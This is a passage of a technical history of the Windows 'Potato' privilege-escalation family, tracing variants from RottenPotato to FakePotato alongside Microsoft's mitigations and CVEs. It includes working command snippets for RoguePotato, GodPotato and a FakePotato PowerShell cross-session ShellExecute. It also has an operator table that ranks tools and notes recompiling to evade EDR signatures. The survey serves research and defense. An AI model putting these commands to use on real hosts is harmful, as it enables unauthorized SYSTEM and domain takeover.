RottenPotato replaced HotPotato's NetBIOS-and-WPAD chain with Forshaw's DCOM-activation primitive. The hard-coded target was the Background Intelligent Transfer Service (BITS) Distributed COM server, class identifier {4991d34b-80a1-4291-83b6-3328366b9097}, and the hard-coded listener port was 127.0.0.1:6666 [@foxglove-rottenpotato; @foxglove-rotten-repo].

A Win32 OLE function that instantiates a Distributed COM object using a marshalled `IStorage` interface pointer as the activation source. By marshalling an `IStorage` whose object exporter identifier (OXID) resolves to an attacker-controlled TCP endpoint, the activator can redirect the resulting authentication callback to a listener it owns. Forshaw filed this as Project Zero Issue 325 in 2015 [@forshaw-pz-2021]; RottenPotato weaponised it. sequenceDiagram participant Atk as RottenPotato (service account) participant Pipe as Local listener on 127.0.0.1:6666 participant DCOM as DCOM activation (RPCSS) participant BITS as BITS COM server (SYSTEM) participant RPC as Local RPC on port 135 Atk->>Pipe: Start TCP listener on 127.0.0.1:6666 Atk->>DCOM: CoGetInstanceFromIStorage with BITS CLSID and marshalled IStorage DCOM->>BITS: Spawn BITS under SYSTEM context BITS->>Pipe: Callback to the marshalled endpoint Pipe->>RPC: Forward COM packets to local RPC on port 135 RPC-->>Pipe: Reply containing SYSTEM-context NTLM exchange Pipe-->>Atk: SYSTEM authentication captured Atk->>Atk: ImpersonateNamedPipeClient and CreateProcessWithToken

The technique was 100% reliable on Windows 7 through Windows 10 1803 and Server 2008 R2 through Server 2016 [@foxglove-rottenpotato]. There was no broadcast spoofing on the wire, no race condition, and no dependence on Windows Update polling. The price was rigidity: the hard-coded BITS class identifier and port 6666 made the tool brittle to BITS being disabled, and the original release depended on the Metasploit framework.

5.2 RottenPotatoNG and lonelypotato

In December 2017, the user breenmachine published RottenPotatoNG, a C++ port that removed the Metasploit dependency: "New version of RottenPotato as a C++ DLL and standalone C++ binary - no need for meterpreter or other tools" [@breenmachine-rottenng]. The codebase that JuicyPotato would later generalise was now in place.

Many surveys date the `decoder-it/lonelypotato` variant to "early 2018" and place it as the link between RottenPotatoNG and JuicyPotato. The GitHub REST API reports `created_at: 2020-02-08T16:30:00Z` for the repository [@decoder-lonely], a full two years later. Decoder's first appearance in the Potato lineage is actually the December 6, 2019 post "We thought they were Potatoes but they were Beans" [@decoder-beans], with `lonelypotato` arriving in February 2020 as a post-OXID-hardening cleanup variant adjacent to RoguePotato [@decoder-lonely]. The 2017-2018 attribution is a citation error that has propagated across several survey papers.

5.3 JuicyPotato (Pierini + Trotta, July-August 2018)

What if any class identifier, not just the BITS one, could be the activation target? On July 27, 2018, Andrea Pierini and Giuseppe Trotta published the answer. The repository ohpe/juicy-potato was created that day per the GitHub REST API; the blog post followed on August 10, 2018 [@ohpe-juicy]. The repository description reads: "Juicy Potato (abusing the golden privileges) -- A sugared version of RottenPotatoNG, with a bit of juice" [@ohpe-juicy].

The original JuicyPotato blog post at decoder.cloud/2018/08/10/juicy-potato-abusing-the-golden-privileges/ returns HTTP 404 in 2026, and no Wayback Machine snapshot exists for that exact URL. The ohpe/juicy-potato README is the live verbatim mirror of the title and the technique walkthrough [@ohpe-juicy]. Pierini's blog has reorganised several times; older posts that survive elsewhere on decoder.cloud include the October 2018 "No more Rotten/Juicy Potato" [@decoder-no-more-rotten] and the December 2019 "We thought they were Potatoes" [@decoder-beans].

JuicyPotato turned RottenPotato into a search engine. The README ships a per-Windows-version class identifier matrix: each row a Windows release, each column a CLSID that activates under SYSTEM context and implements the IMarshal interface [@ohpe-juicy]. The tool accepts a tunable listener port (replacing the hard-coded 6666), a tunable process-creation mode (CreateProcessWithToken for SeImpersonate holders, CreateProcessAsUser for SeAssignPrimaryToken holders, or both), and a TEST mode for class-identifier discovery [@ohpe-juicy].

Microsoft does not freeze the set of registered Distributed COM class identifiers across Windows builds. Default COM-server registrations change between releases as components are added, removed, or refactored. A class identifier that activates under SYSTEM on Windows 10 1709 may not exist on Server 2019. JuicyPotato's CLSID matrix is therefore not a static lookup table -- it is the precomputed result of an empirical per-build search [@ohpe-juicy]. Every red-team handbook published between 2018 and 2020 references this matrix; subsequent variants (RoguePotato, JuicyPotatoNG) inherit and update it. flowchart TD A[Enumerate registered DCOM CLSIDs on target build] --> B{"For each CLSID"} B --> C[Attempt CoGetInstanceFromIStorage with marshalled IStorage] C --> D{"Activation reaches attacker listener?"} D -->|No| B D -->|Yes| E{"Callback authenticates as SYSTEM?"} E -->|No| B E -->|Yes| F[Log CLSID into per-OS matrix] F --> B B --> G[Output: working CLSID for this Windows build]

The Potato class was now universal. From mid-2018 through 2019 it was the default tool in every red-team handbook, every Metasploit-adjacent post-exploitation cheat-sheet, and every penetration-testing certification's lab. Microsoft had noticed.

6. The Mitigation Arms Race, 2020-2024

Every subsection below is the same shape: Microsoft ships a mitigation, researchers find a counter-move, MSRC produces an artifact (a CVE, a "Won't Fix" decision, or silence), and the architectural reading gets one more empirical confirmation.

6.1 The first Distributed COM mitigation, 2019-2020

In late 2018, Windows 10 1809 and Server 2019 began shipping a change to RPCSS. JuicyPotato stopped working. Researchers who reverse-engineered the change discovered that the OXID resolver address on the local Distributed COM activation path was now hard-coded to 127.0.0.1:135. The marshalled IStorage callback could no longer be redirected to an arbitrary loopback port. Forshaw described it bluntly three years later:

Being able to redirect the OXID resolver RPC connection locally to a different TCP port was not by design and Microsoft eventually fixed this in Windows 10 1809/Server 2019. -- James Forshaw, October 2021 [@forshaw-pz-2021]

No CVE was assigned. The change shipped silently as part of the regular Patch Tuesday cycle [@forshaw-pz-2021]. Pierini and Cocomazzi tested it on their own workloads and confirmed the failure mode publicly in October 2018: "Recently I downloaded the new Windows server 2019 and upgraded my Win10 box to 1809 ... the juicy/rotten exploit ... did not work on both OS" [@decoder-no-more-rotten].

Note: The 2019-2020 OXID-resolver change is the first Microsoft response to the Potato family. It does not declare Distributed COM activation a security boundary. It narrows the resolver port to 135 and leaves the underlying primitive (coerce SYSTEM context via OXID resolver, then impersonate the resulting token) intact. The mitigation defines exactly one specific bypass; researchers had to discover that themselves [@forshaw-pz-2021; @decoder-no-more-rotten].

6.2 RoguePotato (Cocomazzi + Pierini, May 2020)

On May 10, 2020, Antonio Cocomazzi published the RoguePotato repository on GitHub [@antonio-rogue]. The disclosure post appeared the next day, May 11. The README banner is "RoguePotato @splinter_code & @decoder_it" -- the same Pierini-and-Cocomazzi team that goes on to author RemotePotato0, JuicyPotatoNG, LocalPotato, and SilverPotato [@antonio-rogue].

The counter-move accepts the hard-coded port-135 constraint and works around it. RoguePotato is two pieces. On an attacker-controlled remote host, run a port forwarder that listens on TCP 135 and redirects to a chosen attacker port. On the target, run RoguePotato.exe pointing the OXID resolver at the remote forwarder. RPCSS dutifully sends the resolution request to the remote host on port 135 (since Microsoft hard-coded the port, not the host); the forwarder bounces the traffic back to the target on the attacker-chosen port; RoguePotato impersonates the OXID resolver and steers the activation back to a SYSTEM-context COM server [@antonio-rogue]. Standard NTLM relay and named-pipe impersonation finish the job.

flowchart LR A[RoguePotato.exe on target] --> B[RPCSS sends OXID resolution to remote-host port 135] B --> C[Remote port forwarder on attacker VPS] C --> D[Forward to target on attacker-chosen port] D --> E[Fake OXID resolver inside RoguePotato] E --> F[Steer activation to SYSTEM-context COM server] F --> G[Named-pipe impersonation, CreateProcessWithToken, SYSTEM shell]

{// Step 1 -- on an attacker-controlled remote host (any internet-reachable VPS): const forwarder = "socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999"; // Step 2 -- on the target with SeImpersonatePrivilege: const exploit = 'RoguePotato.exe -r 10.0.0.3 -e "C:\\\\windows\\\\system32\\\\cmd.exe" -l 9999'; console.log("Remote forwarder:", forwarder); console.log("Target exploit :", exploit); console.log("Expected output : nt authority\\\\system");}

RoguePotato proved that the mitigation Microsoft chose did not break the underlying primitive. It only forced the attack to phone home. Two failure modes followed: in egress-filtered networks where outbound TCP 135 is blocked, the technique cannot run, and the remote forwarder is operationally noisy. Researchers needed a workaround that lived entirely on the target.

6.3 PrintSpoofer (Clément Labro, early May 2020)

Around the same time as RoguePotato, in early May 2020 (GitHub repository itm4n/PrintSpoofer created April 28, 2020; blog post first archived in the Wayback Machine on May 3, 2020), Clément Labro -- writing as itm4n -- published "PrintSpoofer -- Abusing Impersonation Privileges on Windows 10 and Server 2019" [@itm4n-printspoofer]. The mechanism uses no Distributed COM at all.

The Print Spooler service exposes an RPC call, RpcRemoteFindFirstPrinterChangeNotificationEx, that accepts a UNC path; the Spooler -- running as SYSTEM -- connects to that path to deliver printer-change notifications. Point the path at an attacker-owned named pipe; the Spooler connects; call ImpersonateNamedPipeClient; done [@itm4n-printspoofer]. Labro articulated the family's thesis statement in the post, attributing it to Decoder:

If you have SeAssignPrimaryToken or SeImpersonate privilege, you are SYSTEM. -- attributed to Andrea Pierini (@decoder_it), quoted by Clément Labro in the PrintSpoofer writeup, May 2020 [@itm4n-printspoofer] sequenceDiagram participant Atk as PrintSpoofer (SeImpersonate holder) participant Pipe as Attacker-owned named pipe participant Spooler as Print Spooler (SYSTEM) Atk->>Pipe: Create named pipe and start accept loop Atk->>Spooler: RpcRemoteFindFirstPrinterChangeNotificationEx with attacker UNC Spooler->>Pipe: Connect to UNC path under SYSTEM context Pipe->>Atk: ImpersonateNamedPipeClient on server thread Atk->>Atk: CreateProcessWithToken spawns SYSTEM shell

This is the moment the architectural reading clicks. The family is not about Distributed COM activation. Closing DCOM would not close the family. The next variant would use Spooler RPC, the one after that would use the Encrypting File System RPC, and the one after that would use Microsoft Distributed Transaction Coordinator RPC. Forshaw's contemporaneous April 2020 tiraniddo.dev post on shared logon sessions makes the same architectural point from a different angle [@forshaw-tiraniddo-2020].

Key idea: The Potato family is about the primitive, not the vehicle. SeImpersonatePrivilege plus ImpersonateNamedPipeClient plus any SYSTEM-context Windows service with a callback-style API equals SYSTEM. Closing one vehicle (Distributed COM activation) leaves every other vehicle (Spooler RPC, EFS RPC, the next service that gets a callback interface) wide open [@itm4n-printspoofer; @forshaw-tiraniddo-2020].

6.4 RemotePotato0 and the "Won't Fix"

In April 2021, Cocomazzi and Pierini pushed the technique across the network in a SentinelLabs post titled "Relaying Potatoes: DCE/RPC NTLM Relay EoP" [@sentinellabs-relaying]. The repository tagline names the outcome bluntly: "Just another 'Won't Fix' Windows Privilege Escalation from User to Domain Admin" [@antonio-remote].

The mechanism is cross-session NTLM relay over Distributed COM and RPC. An unprivileged local user triggers the Distributed COM activation service to make another user logged on the same machine (typically an administrator in an interactive RDP session) authenticate via NTLM. The captured NTLM exchange is then cross-protocol relayed (RPC to LDAP, with a port forwarder bridging the gap) to a domain controller with LDAP signing disabled. The attacker writes their own account into a privileged group or registers resource-based constrained delegation, and the engagement is over [@sentinellabs-relaying].

Microsoft's response is the most quoted sentence in the family's history:

The current status of this vulnerability is 'won't fix' ... Although Microsoft considers the vulnerability an important privilege escalation, it has been classified as 'Won't Fix'. -- SentinelLabs disclosure of RemotePotato0, April 2021 [@sentinellabs-relaying]

Note: RemotePotato0 was a fully working exploit chain that promoted any local low-privilege user to Domain Admin. Microsoft was given the disclosure, replicated the technique, and declined to issue a CVE. This is the moment the architectural reading stops being a researcher narrative and becomes a documented MSRC decision [@sentinellabs-relaying]. Microsoft eventually shipped a partial mitigation in October 2022 that broke the RPC-to-LDAP scenario specifically, but the underlying primitive survives in adjacent variants [@antonio-remote].

6.5 The CVE-2021-26414 Distributed COM hardening rollout

Two months after the RemotePotato0 disclosure, Microsoft began the only DCOM-side hardening it would ship under a CVE. KB5004442 documents a three-phase rollout, quoted verbatim from the article: "The first phase of DCOM updates was released on June 8, 2021. In that update, DCOM hardening was disabled by default. ... The second phase of DCOM updates was released on June 14, 2022. ... The final phase of DCOM updates will be released in March 2023. It will keep the DCOM hardening enabled and remove the ability to disable it" [@ms-kb5004442].

Phase	Date	Behaviour
Phase 1	June 8, 2021	DCOM hardening shipped, disabled by default. Administrators may opt in via registry.
Phase 2	June 14, 2022	Hardening enabled by default. Registry opt-out still available.
Phase 3	March 14, 2023	Hardening enforced with no opt-out. The `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` minimum is mandatory.

The RPC authentication-level constant that requires every packet of an RPC exchange to be signed for integrity (level 5 of 6). CVE-2021-26414 raises the *minimum* DCOM activation authentication level to this constant, rejecting legacy Distributed COM clients that activate at lower levels. The full rejection appears in Windows Event ID 10036 as "The server-side authentication level policy does not allow the user %1\\%2 SID (%3) from address %4 to activate DCOM server. Please raise the activation authentication level at least to RPC_C_AUTHN_LEVEL_PKT_INTEGRITY in client application" [@ms-kb5004442].

The hardening raised the bar for legacy Distributed COM client authentication. It did not declare Distributed COM activation a security boundary [@ms-kb5004442; @ms-techcommunity-dcom]. The "Manage changes" framing in the KB title is deliberate: this is a compatibility migration with telemetry events (10036 server-side, 10037 and 10038 client-side) so enterprises can find legacy clients before the final cut [@ms-kb5004442].

Note: Distributed COM is everywhere in Windows. Removing the ability to activate at a lower authentication level breaks legacy Distributed COM applications that have not been updated since at least 2014. Microsoft's 21-month rollout window between Phase 1 (June 2021) and Phase 3 (March 2023) was a compatibility migration -- the telemetry events let enterprise IT find and fix the legacy clients before the final cut [@ms-kb5004442; @ms-techcommunity-dcom]. The hardening is the most aggressive Distributed COM mitigation Microsoft has ever shipped, and even so it does not declare Distributed COM activation a security boundary.

Researchers had 21 months to find a way around it. They took 18.

6.6 JuicyPotatoNG (Pierini + Cocomazzi, September 21, 2022)

Pierini and Cocomazzi returned on September 21, 2022, with JuicyPotatoNG -- the last pre-Phase-3 Distributed COM activation variant [@decoder-juicyng]. The blog post is titled "Giving JuicyPotato a second chance: JuicyPotatoNG" and walks through three counter-moves combined into a single binary [@decoder-juicyng; @antonio-juicyng].

First, the tool embeds Forshaw's October 2021 local-OXID trick. Forshaw had shown that an OXID resolution request could be answered by a local Distributed COM server on a randomly selected port, dropping the need for an external forwarder [@forshaw-pz-2021]. JuicyPotatoNG ships that trick as a default. Second, it falls back to a tight set of usable class identifiers; the default is {854A20FB-2D44-457D-992F-EF13785D2B51}, the PrintNotify class [@antonio-juicyng]. Third, it calls LogonUser with LOGON32_LOGON_NEW_CREDENTIALS to sidestep the INTERACTIVE-group restriction that constrained earlier post-RoguePotato attempts [@decoder-juicyng].

The cross-pollination is worth marking. Forshaw's October 2021 Project Zero post on relaying Distributed COM authentication described the local-OXID trick as a research result [@forshaw-pz-2021]. Pierini and Cocomazzi picked it up eleven months later and shipped it as the default mode of JuicyPotatoNG [@decoder-juicyng]. SilverPotato (April 2024) and the Compass Security follow-on (September 2024) cite the same trick [@compass-three-headed]. Forshaw's blog has been the unofficial reference implementation for the lineage's offensive primitives for half its lifetime.

JuicyPotatoNG also implements a Security Support Provider Interface (SSPI) hook on AcceptSecurityContext to capture the SYSTEM token without requiring RpcImpersonateClient. The effect is to make the tool work for both SeImpersonate and SeAssignPrimaryToken holders [@decoder-juicyng]. The result is a clean, single-binary, no-external-infrastructure local-DCOM-activation exploit -- which is the version that worked between Phase 2 (June 14, 2022, enabled by default) and Phase 3 (March 14, 2023, enforced with no opt-out) of the CVE-2021-26414 rollout [@ms-kb5004442].

The next variant would need to survive Phase 3.

6.7 GodPotato (BeichenDream, December 23, 2022)

Three months after JuicyPotatoNG, on December 23, 2022, the Chinese-speaking researcher BeichenDream published GodPotato to GitHub [@beichendream-god]. The README is bilingual English and Chinese, and it opens with a precise summary of where the variant fits in the lineage:

Based on the history of Potato privilege escalation for 6 years, from the beginning of RottenPotato to the end of JuicyPotatoNG, I discovered a new technology by researching DCOM, which enables privilege escalation in Windows 2012 - Windows 2022 ... There are some defects in rpcss when dealing with oxid, and rpcss is a service that must be opened by the system, so it can run on almost any Windows OS, I named it GodPotato. -- BeichenDream, GodPotato README, December 2022 [@beichendream-god]

The mechanism manipulates the OXID-handling flow inside RPCSS so the activated Distributed COM server's authentication callback returns to a tool-controlled endpoint without requiring the OXID resolver to be redirected. Because the redirect itself is what the CVE-2021-26414 hardening rejects, GodPotato sidesteps the hardening entirely [@beichendream-god]. RPCSS is a mandatory Windows service -- it cannot be disabled without breaking the operating system -- so the technique works on every supported Windows release as of disclosure.

{// On a target host where the calling account holds SeImpersonatePrivilege // (default for every IIS app-pool identity, MSSQL service account, BITS account, etc.) const command = 'GodPotato -cmd "cmd /c whoami"'; console.log("Run:", command); console.log("Expected output: nt authority\\\\system"); console.log("Working OS coverage: Windows 8 through Windows 11; Server 2012 through Server 2025"); console.log("Underlying primitive: RPCSS OXID-handling defect, no external infra, single binary");}

Microsoft has not assigned a CVE to the underlying RPCSS defect [@beichendream-god; @compass-three-headed].Apache 2.0 licensing matters here: red-team operators routinely recompile GodPotato from source to bypass binary-hash signatures, and the permissive license makes redistribution unproblematic [@beichendream-god]. The pattern is consistent with the servicing-criteria reading. GodPotato is in May 2026 the practitioner default on every in-support Windows release: single binary, no external infrastructure, no separate OXID resolver, Apache-2.0-licensed and freely re-buildable when EDR vendors signature the public binary [@beichendream-god].

Key idea: GodPotato survives every Microsoft mitigation because Microsoft has not declared the underlying primitive a security boundary. Three named hardening waves (the 2019-2020 OXID-resolver change, the three-phase CVE-2021-26414 rollout from June 2021 to March 2023, and the per-variant CVE patches in 2023 and 2024) leave GodPotato working on Server 2025 and Windows 11 24H2 as of this writing [@beichendream-god; @ms-kb5004442; @compass-three-headed].

6.8 LocalPotato and CVE-2023-21746

Three weeks after GodPotato landed, Microsoft assigned the first-ever CVE in the local Potato lineage. The variant was LocalPotato, the CVE was CVE-2023-21746, and the patch shipped in the January 2023 Patch Tuesday [@nvd-cve-2023-21746; @msrc-cve-2023-21746]. The Decoder writeup, published February 13, 2023, walks through the timeline:

"We reported our findings to the Microsoft Security Response Center (MSRC) on September 9, 2022, and it was resolved with the release of the January 2023 patch Tuesday and assigned the CVE number CVE-2023-21746." -- Andrea Pierini, "LocalPotato" writeup, February 2023 [@decoder-localpotato]

LocalPotato is not a Distributed COM activation Potato. It attacks the local NTLM authentication protocol itself. During a local NTLM exchange, the Type 2 (Challenge) message carries a "Reserved" field that, in the local-NTLM case, encodes the upper bytes of the local server context handle the client should associate with. By racing two simultaneous local NTLM authentications -- one privileged client to attacker server, one attacker client to a real local server -- and swapping the Reserved fields in the two Type 2 messages, LSASS binds the privileged identity to the attacker's low-privilege context [@decoder-localpotato; @localpotato-com]. The result is an arbitrary file-read and file-write primitive that chains cleanly to SYSTEM.

Note: Pierini and Cocomazzi had been pushing on the architectural carve-out for seven years before they got a CVE. The boundary that made the difference: LocalPotato attacks the local user-to-local-user NTLM authentication context, which is on the servicing-criteria boundary list. The underlying SeImpersonate-to-SYSTEM primitive is not. Microsoft will service the parts of the protocol that are inside the boundary; it will not service the parts that are outside [@decoder-localpotato; @msrc-servicing-criteria].

The LocalPotato writeup credits Elad Shamir for the original hint that started the research [@decoder-localpotato]. The dedicated companion site localpotato.com carries the canonical title "LocalPotato -- When swapping the context leads you to SYSTEM" and links the CVE [@localpotato-com].

6.9 SilverPotato (Pierini + Cocomazzi, April 24, 2024)

A year later, on April 24, 2024, Pierini and Cocomazzi extended the cross-session Distributed COM activation primitive that RemotePotato0 had pioneered into a fully practical domain attack. The blog post title is "Hello, I'm your domain admin and I want to authenticate against you" [@decoder-silverpotato]. The Troopers 24 abstract refers to the technique by its other name, ADCSCoercePotato [@troopers24; @decoder-adcs-coerce-repo]; both names refer to the same primitive.

The mechanism: members of the Distributed COM Users or Performance Log Users built-in groups can remotely trigger an NTLM authentication from any user currently logged on the target server -- including a Domain Administrator on a Domain Controller -- and relay it. The specific vehicle is the sppui Distributed COM application (class identifier F87B28F1-DA9A-4F35-8EC0-800EFCF26B83, "SPPUIObjectInteractive Class", hosted in slui.exe), which runs under the Interactive User identity [@decoder-silverpotato]. Pierini's wording in the post is unsparing:

"Members of Distributed COM Users or Performance Log Users Groups can trigger from remote and relay the authentication of users connected on the target server, including Domain Controllers." -- Andrea Pierini, "SilverPotato" writeup, April 2024 [@decoder-silverpotato]

The captured authentication is relayed via ntlmrelayx to AD CS Web Enrollment or LDAP, then chained with ForgeCert and Rubeus into a full Domain Admin Kerberos TGT [@decoder-silverpotato]. The Compass Security follow-on from September 2024 extends the chain further by modifying the KrbRelay project to make it remote and cross-session capable: "I modified the KrbRelay project to make it remote and cross-session capable, because Andrea did not release his PoC code ... DCOM hardening only allows relay to HTTP or unprotected LDAP" [@compass-three-headed]. Tianze Ding's Black Hat Asia 2024 talk on "CertifiedDCOM" landed in the same window [@blackhat-asia-2024]. Pierini's February 2024 post on the ADCS server side of the same surface foreshadowed the chain a few weeks earlier [@decoder-adcs-server].

flowchart LR A[Member of Distributed COM Users on target DC] --> B[Cross-session DCOM activation against sppui CLSID] B --> C[Logged-on Domain Admin session authenticates via NTLM] C --> D[ntlmrelayx forwards NTLM to AD CS Web Enrollment] D --> E[Computer-template certificate issued] E --> F[ForgeCert and Rubeus mint Domain Admin Kerberos TGT] F --> G[Domain compromise]

Note: The Troopers 24 abstract describes SilverPotato as "still in review by MSRC" as of June 2024 [@troopers24]. The Compass Security follow-on demonstrates a working end-to-end chain four months later [@compass-three-headed]. The default Distributed COM group memberships on Domain Controllers that grant the activation rights SilverPotato weaponises have not changed in any shipping Windows release as of May 2026. No CVE has been assigned [@decoder-silverpotato; @troopers24].

6.10 FakePotato and CVE-2024-38100

Four months after SilverPotato, on August 2, 2024, Pierini published the most recent named variant. He called it FakePotato, and he was up front about the name:

"You might be wondering why I called it the 'Fake' Potato. Initially, I thought it could be exploited using the same techniques as the *Potato families, but it turned out to be different and much simpler in this case." -- Andrea Pierini, "The Fake Potato" writeup, August 2024 [@decoder-fakepotato]

FakePotato abuses the ShellWindows Distributed COM application (AppID {9BA05972-F6A8-11CF-A442-00A0C90A8F39}), hosted in explorer.exe and registered to run under the Interactive User identity. Cross-session activation via BindToMoniker("session:N!new:<CLSID>") invokes ShellExecute in the target session. There is no NTLM relay, no token impersonation, no SeImpersonatePrivilege requirement -- any Authenticated User suffices because explorer.exe in High Integrity Level (UAC-disabled administrator) granted the Authenticated Users group execute permission via the DCOM Access Security ACL [@decoder-fakepotato].

{$obj = [System.Runtime.InteropServices.Marshal]::BindToMoniker("session:2!new:9BA05972-F6A8-11CF-A442-00A0C90A8F39") $p = $obj.item(0).document.application $p.ShellExecute("c:\\temp\\reverse.bat", "", "c:\\windows", $null, 0)}

Microsoft assigned CVE-2024-38100 and shipped the patch in the July 2024 Patch Tuesday cumulative updates on July 9, 2024 (KB5040434 for Windows 10 1607 / Windows Server 2016; equivalent KBs for Windows 11, Server 2019, Server 2022, and Server 2025) -- four weeks before the public disclosure [@decoder-fakepotato; @nvd-cve-2024-38100; @msrc-cve-2024-38100]. The patch corrects the explorer.exe ACL in High Integrity Level contexts so the Authenticated Users permission required for activation is no longer granted. The underlying cross-session Distributed COM activation primitive that SilverPotato and FakePotato share is untouched [@decoder-silverpotato; @decoder-fakepotato].

FakePotato is not, in the relay sense, a Potato at all. It is a misconfiguration of the ShellWindows Distributed COM application's permissions in High Integrity Level contexts [@decoder-fakepotato]. Pierini's "Fake" framing acknowledges the divergence from the NTLM-reflection pattern that defined the family from RottenPotato through GodPotato. The naming choice is itself a small piece of taxonomy: not every member of the family is a token-relay exploit, even if every member exploits the same architectural carve-out.

After nearly a decade of patching specific vehicles and refusing to declare the underlying primitive a boundary, Microsoft's pattern is hard to miss.

7. Eleven Variants at a Glance

Nine years of named-variant disclosures, eleven named variants, one architectural argument. The table below is sourced cell by cell from the preceding sections.

Variant	Date	Authors	Coercion vehicle	Mitigation it bypassed	Microsoft response	Still works in 2026?
HotPotato [@foxglove-hotpotato]	Jan 16, 2016	Stephen Breen	NBNS spoof + WPAD + HTTP-to-SMB relay	MS08-068 same-protocol-only fix	None named; EPA/SMB hardening eventually closed the vehicle	Only on pre-1607 builds
RottenPotato [@foxglove-rottenpotato]	Sep 23, 2016	Stephen Breen + Chris Mallz	DCOM activation via BITS CLSID on 127.0.0.1:6666	(none yet)	None	Only pre-1809 builds
RottenPotatoNG [@breenmachine-rottenng]	Dec 29, 2017	breenmachine	Same as RottenPotato (C++ port; no Metasploit)	(none yet)	None	Only pre-1809 builds
JuicyPotato [@ohpe-juicy]	Jul 27, 2018	Andrea Pierini + Giuseppe Trotta	Generalised DCOM activation; CLSID matrix	(none yet)	OXID-resolver hard-coding in Win10 1809 / Server 2019 [@forshaw-pz-2021]	Only pre-1809 builds
RoguePotato [@antonio-rogue]	May 10, 2020	Antonio Cocomazzi + Andrea Pierini	DCOM activation through remote TCP-135 forwarder	2019-2020 OXID-resolver hardening	None (no CVE)	Only pre-Phase-3 builds
PrintSpoofer [@itm4n-printspoofer]	Early May 2020	Clément Labro	Print Spooler RPC `RpcRemoteFindFirstPrinterChangeNotificationEx`	All DCOM-side hardening (irrelevant)	None (no CVE)	Yes, when Spooler is running
RemotePotato0 [@sentinellabs-relaying]	Apr 2021	Antonio Cocomazzi + Andrea Pierini	Cross-session DCOM/RPC NTLM relay	(defines a new threat surface)	"Won't Fix"; partial Oct 2022 RPC-to-LDAP mitigation	Partially (primitive intact)
JuicyPotatoNG [@antonio-juicyng; @decoder-juicyng]	Sep 21, 2022	Andrea Pierini + Antonio Cocomazzi	Local-OXID trick + LogonUser NewCredentials	CVE-2021-26414 Phase 1 and Phase 2	None (no CVE)	Only pre-Phase-3 builds
GodPotato [@beichendream-god]	Dec 23, 2022	BeichenDream	RPCSS OXID-handling defect (no resolver redirect)	All three CVE-2021-26414 phases	None (no CVE)	Yes -- the 2026 default
LocalPotato / CVE-2023-21746 [@decoder-localpotato; @nvd-cve-2023-21746]	Patched Jan 10, 2023	Andrea Pierini + Antonio Cocomazzi	NTLM Type-2 "Reserved" field context swap	(orthogonal -- attacks LSASS)	CVE-2023-21746 (first local-Potato CVE)	No -- patched
SilverPotato / ADCSCoercePotato [@decoder-silverpotato; @troopers24]	Apr 24, 2024	Andrea Pierini + Antonio Cocomazzi	Cross-session DCOM against `sppui` AppID	Post-RemotePotato0 partial mitigations	Still in review by MSRC as of mid-2026	Yes -- unpatched
FakePotato / CVE-2024-38100 [@decoder-fakepotato; @nvd-cve-2024-38100]	Disclosed Aug 2, 2024	Andrea Pierini	Cross-session DCOM against `ShellWindows` AppID (ACL bug)	(orthogonal)	CVE-2024-38100 in the July 2024 Patch Tuesday (KB5040434 for 1607/Server 2016; per-build KBs elsewhere)	No -- patched

Two CVEs in nine years of named-variant disclosures. One "Won't Fix" decision on a working Domain Admin escalation. Zero declarations of SeImpersonatePrivilege or Distributed COM activation as a security boundary. The pattern is consistent across every column [@troopers24; @msrc-servicing-criteria].

Key idea: Two CVEs in a decade, against a family with eleven named variants. The first CVE was for a piece of the local NTLM protocol that is on the servicing-criteria list, not for the underlying SeImpersonate-to-SYSTEM primitive. The second was for a Distributed COM access-control list misconfiguration, not for cross-session activation as a class. Microsoft will assign CVEs to specific vehicles when forced. It will not declare the architectural primitive a security boundary [@nvd-cve-2023-21746; @nvd-cve-2024-38100; @troopers24].

8. The 2026 Decision Surface

In May 2026, an operator with SeImpersonatePrivilege on a default Windows 11 box has a small menu of working tools, plus three legacy variants that remain useful on unpatched fleets. The current toolkit:

Method	Coercion vehicle	OS coverage	When to use it
GodPotato [@beichendream-god]	RPCSS OXID defect	Win 8 to Win 11; Server 2012 to Server 2025	Default first try on any in-support Windows
SweetPotato [@ccob-sweet]	Selectable: PrintSpoofer (default), DCOM, EfsRpc, WinRM	Win 7+ depending on selected mode	When GodPotato's binary signature is blocked
SharpEfsPotato [@bugch3ck-efs]	EFS RPC (`EfsRpcOpenFileRaw`)	Server 2019+, Win 10/11 with EFS RPC enabled	DCOM locked down and Spooler disabled
PrintSpoofer [@itm4n-printspoofer]	Print Spooler RPC	Any host with Spooler running	The lowest-noise option on Spooler-enabled hosts
JuicyPotatoNG [@antonio-juicyng]	Local-OXID + legacy CLSID	Pre-Phase-3 DCOM hardening only	Corporate fleets with delayed CVE-2021-26414 rollout
RoguePotato [@antonio-rogue]	Remote TCP-135 forwarder	Pre-Phase-3 DCOM hardening	Pre-2022 hardened-OXID-only systems with attacker remote infra
SilverPotato [@decoder-silverpotato]	Cross-session DCOM against DC	Default DCs with `Distributed COM Users` or `Performance Log Users` membership	Domain-tier escalation -- the only currently-unpatched cross-session variant

Plus three legacy variants worth knowing about: JuicyPotato on pre-1809 builds, RottenPotato on Server 2008 R2 / Windows 7 ESU-eligible builds, and HotPotato as the canonical naming origin and the source of the family's "documented Win32 calls" framing [@ohpe-juicy; @foxglove-rotten-repo; @foxglove-hotpotato]. Embedded Windows builds (Windows 10 IoT LTSC 2019, some industrial controllers, ATM images) frequently fall behind the OXID-resolver mitigation and remain JuicyPotato-vulnerable through 2026.

SharpEfsPotato's canonical repository is `github.com/bugch3ck/SharpEfsPotato` [@bugch3ck-efs]. A widely shared `ly4k/SharpEfsPotato` fork exists and is referenced in some red-team writeups, but the upstream is the `bugch3ck` repo per the README's own credit chain ("Built from SweetPotato by @\_EthicalChaos\_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0") [@bugch3ck-efs]. Operators citing the `ly4k` URL are pointing at a fork.

Every one of these tools has a Microsoft mitigation in its history. None of those mitigations closed the family. The next section asks what mitigation could.

9. What Would It Take To Close the Family?

A counterfactual sharpens the question. Suppose Microsoft decided in 2026 that the family must end. Three closure options exist, and each carries a compatibility cost.

Closure option	Mechanism	Compatibility cost
1. Declare `SeImpersonatePrivilege` a security boundary	Revoke the privilege from default service accounts (IIS app pools, SQL Server, BITS, Task Scheduler, the Spooler)	Operationally prohibitive: thousands of third-party services depend on the default grant
2. Declare Distributed COM activation a security boundary	Validate the activator's identity against the activated CLSID's registered identity on every activation	Breaks 25 years of legacy Distributed COM applications written between 1996 and 2021 [@ms-dcom-spec]
